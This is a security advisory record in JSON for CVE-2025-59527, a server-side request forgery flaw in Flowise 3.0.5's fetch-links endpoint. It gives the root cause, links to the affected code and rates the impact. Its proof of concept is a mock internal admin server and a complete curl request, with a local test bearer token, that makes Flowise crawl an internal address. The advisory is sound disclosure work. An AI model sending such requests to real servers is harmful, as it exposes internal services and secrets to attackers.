{"id":"GHSA-hr92-4q35-4j3m","summary":"FlowiseAI/Flowise has Server-Side Request Forgery (SSRF) vulnerability","details":"### Summary\n---\n\nA Server-Side Request Forgery (SSRF) vulnerability was discovered in the `/api/v1/fetch-links` endpoint of the Flowise application. This vulnerability allows an attacker to use the Flowise server as a proxy to access internal network web services and explore their link structures. The impact includes the potential exposure of sensitive internal administrative endpoints.\n\n\n### Details\n---\n\n#### Vulnerability Overview\n\nThe `fetch-links` feature in Flowise is designed to extract links from external websites or XML sitemaps. It performs an HTTP request from the server to the user-supplied URL and parses the response (HTML or XML) to extract and return links.\n\nThe issue arises because the feature performs these HTTP requests **without validating the user-supplied URL**. In particular, when the `relativeLinksMethod` parameter is set to `webCrawl` or `xmlScrape`, the server directly calls the `fetch()` function with the provided URL, making it vulnerable to SSRF attacks.\n\n#### Root Cause\n\nThe `fetch()` function is called without URL validation or restriction, which enables attackers to redirect the server to internal services.\n\n\n### Taint Flow\n\n#### • Taint 01: Route Registration\n\nhttps://github.com/FlowiseAI/Flowise/blob/5930f1119c655bcf8d2200ae827a1f5b9fec81d0/packages/server/src/controllers/fetch-links/index.ts#L6-L24\n\n#### • Taint 02: Service\n\nhttps://github.com/FlowiseAI/Flowise/blob/5930f1119c655bcf8d2200ae827a1f5b9fec81d0/packages/server/src/services/fetch-links/index.ts#L8-L18\n\n#### • Taint 03: xmlScrape\n\nhttps://github.com/FlowiseAI/Flowise/blob/5930f1119c655bcf8d2200ae827a1f5b9fec81d0/packages/components/src/utils.ts#L474-L478\n\n\n### PoC\n---\n\n#### PoC Description\n\nThis vulnerability was verified in a local development environment. The Flowise server was running at `http://localhost:3000`, and authentication was performed using the Bearer token:\n\n```\ntmY1fIjgqZ6-nWUuZ9G7VzDtlsOiSZlDZjFSxZrDd0Q\n```\n\nUpon a successful attack, the Flowise server returned the entire link structure of the internal admin panel in JSON format. The response included sensitive administrative URLs such as:\n\n- `/api/users` (User Management)\n- `/api/secrets` (API Keys)\n- `/api/database` (Database Config)\n\nThis demonstrated that an attacker could enumerate internal web service structures.\n\n#### Internal Admin Server (Mock)\n\n```python\nfrom flask import Flask, render_template_string\n\napp = Flask(__name__)\n\n@app.route('/')\ndef admin():\n    return render_template_string(\"\"\"\n    \u003chtml\u003e\n    \u003ch1\u003eInternal Admin Panel\u003c/h1\u003e\n    \u003cul\u003e\n        \u003cli\u003e\u003ca href=\"/api/users\"\u003eUser Management\u003c/a\u003e\u003c/li\u003e\n        \u003cli\u003e\u003ca href=\"/api/secrets\"\u003eAPI Keys\u003c/a\u003e\u003c/li\u003e\n        \u003cli\u003e\u003ca href=\"/api/database\"\u003eDatabase Config\u003c/a\u003e\u003c/li\u003e\n        \u003cli\u003e\u003ca href=\"/api/logs\"\u003eSystem Logs\u003c/a\u003e\u003c/li\u003e\n    \u003c/ul\u003e\n    \"\"\")\n\n@app.route('/api/users')\ndef users():\n    return render_template_string(\"\"\"\n    \u003chtml\u003e\n    \u003ch1\u003eUsers\u003c/h1\u003e\n    \u003cul\u003e\n        \u003cli\u003e\u003ca href=\"/api/users/admin\"\u003eadmin (root)\u003c/a\u003e\u003c/li\u003e\n        \u003cli\u003e\u003ca href=\"/api/users/operator\"\u003eoperator\u003c/a\u003e\u003c/li\u003e\n    \u003c/ul\u003e\n    \u003ca href=\"/\"\u003eBack\u003c/a\u003e\n    \"\"\")\n\n@app.route('/api/secrets')\ndef secrets():\n    return render_template_string(\"\"\"\n    \u003chtml\u003e\n    \u003ch1\u003eSecrets\u003c/h1\u003e\n    \u003cul\u003e\n        \u003cli\u003e\u003ca href=\"/api/secrets/db_key\"\u003eDB Key: sk-1234567890abcdef\u003c/a\u003e\u003c/li\u003e\n        \u003cli\u003e\u003ca href=\"/api/secrets/aws_key\"\u003eAWS Key: AKIAIOSFODNN7EXAMPLE\u003c/a\u003e\u003c/li\u003e\n    \u003c/ul\u003e\n    \u003ca href=\"/\"\u003eBack\u003c/a\u003e\n    \"\"\")\n\nif __name__ == '__main__':\n    app.run(host='127.0.0.1', port=8080)\n```\n\n#### curl Request Example\n\n```bash\ncurl -G 'http://localhost:3000/api/v1/fetch-links' \\\n     --data-urlencode 'url=http://127.0.0.1:8080/' \\\n     --data-urlencode 'relativeLinksMethod=webCrawl' \\\n     --data-urlencode 'limit=10' \\\n     -H 'Authorization: Bearer tmY1fIjgqZ6-nWUuZ9G7VzDtlsOiSZlDZjFSxZrDd0Q' \\\n     -s | jq '.'\n```\n\u003cimg width=\"1914\" height=\"952\" alt=\"image\" src=\"https://github.com/user-attachments/assets/6cb1abb1-0a31-43d4-8d9e-8d45f58051f3\" /\u003e\n\n\n### Impact\n---\n\nThis is a **Server-Side Request Forgery (SSRF)** vulnerability.\n\n- **Who is impacted?** Any user running Flowise server exposed to external traffic.\n- **Risk:** Attackers can leverage the Flowise server to:\n  - Explore internal web applications\n  - Bypass firewall rules\n  - Access sensitive administrative interfaces\n  - Leak internal configuration, credentials, or secrets\n\nThis vulnerability significantly increases the risk of **internal service enumeration and potential lateral movement** in an enterprise environment.","aliases":["CVE-2025-59527"],"modified":"2025-09-22T21:58:31Z","published":"2025-09-15T19:53:46Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2025-09-15T19:53:46Z","nvd_published_at":"2025-09-22T20:15:39Z","cwe_ids":["CWE-918"],"severity":"HIGH"},"references":[{"type":"WEB","url":"https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-hr92-4q35-4j3m"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-59527"},{"type":"PACKAGE","url":"https://github.com/FlowiseAI/Flowise"},{"type":"WEB","url":"https://github.com/FlowiseAI/Flowise/blob/5930f1119c655bcf8d2200ae827a1f5b9fec81d0/packages/components/src/utils.ts#L474-L478"},{"type":"WEB","url":"https://github.com/FlowiseAI/Flowise/blob/5930f1119c655bcf8d2200ae827a1f5b9fec81d0/packages/server/src/controllers/fetch-links/index.ts#L6-L24"},{"type":"WEB","url":"https://github.com/FlowiseAI/Flowise/blob/5930f1119c655bcf8d2200ae827a1f5b9fec81d0/packages/server/src/services/fetch-links/index.ts#L8-L18"},{"type":"WEB","url":"https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.0.6"}],"affected":[{"package":{"name":"flowise","ecosystem":"npm","purl":"pkg:npm/flowise"},"ranges":[{"type":"SEMVER","events":[{"introduced":"3.0.5"},{"fixed":"3.0.6"}]}],"versions":["3.0.5"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/09/GHSA-hr92-4q35-4j3m/GHSA-hr92-4q35-4j3m.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"}]}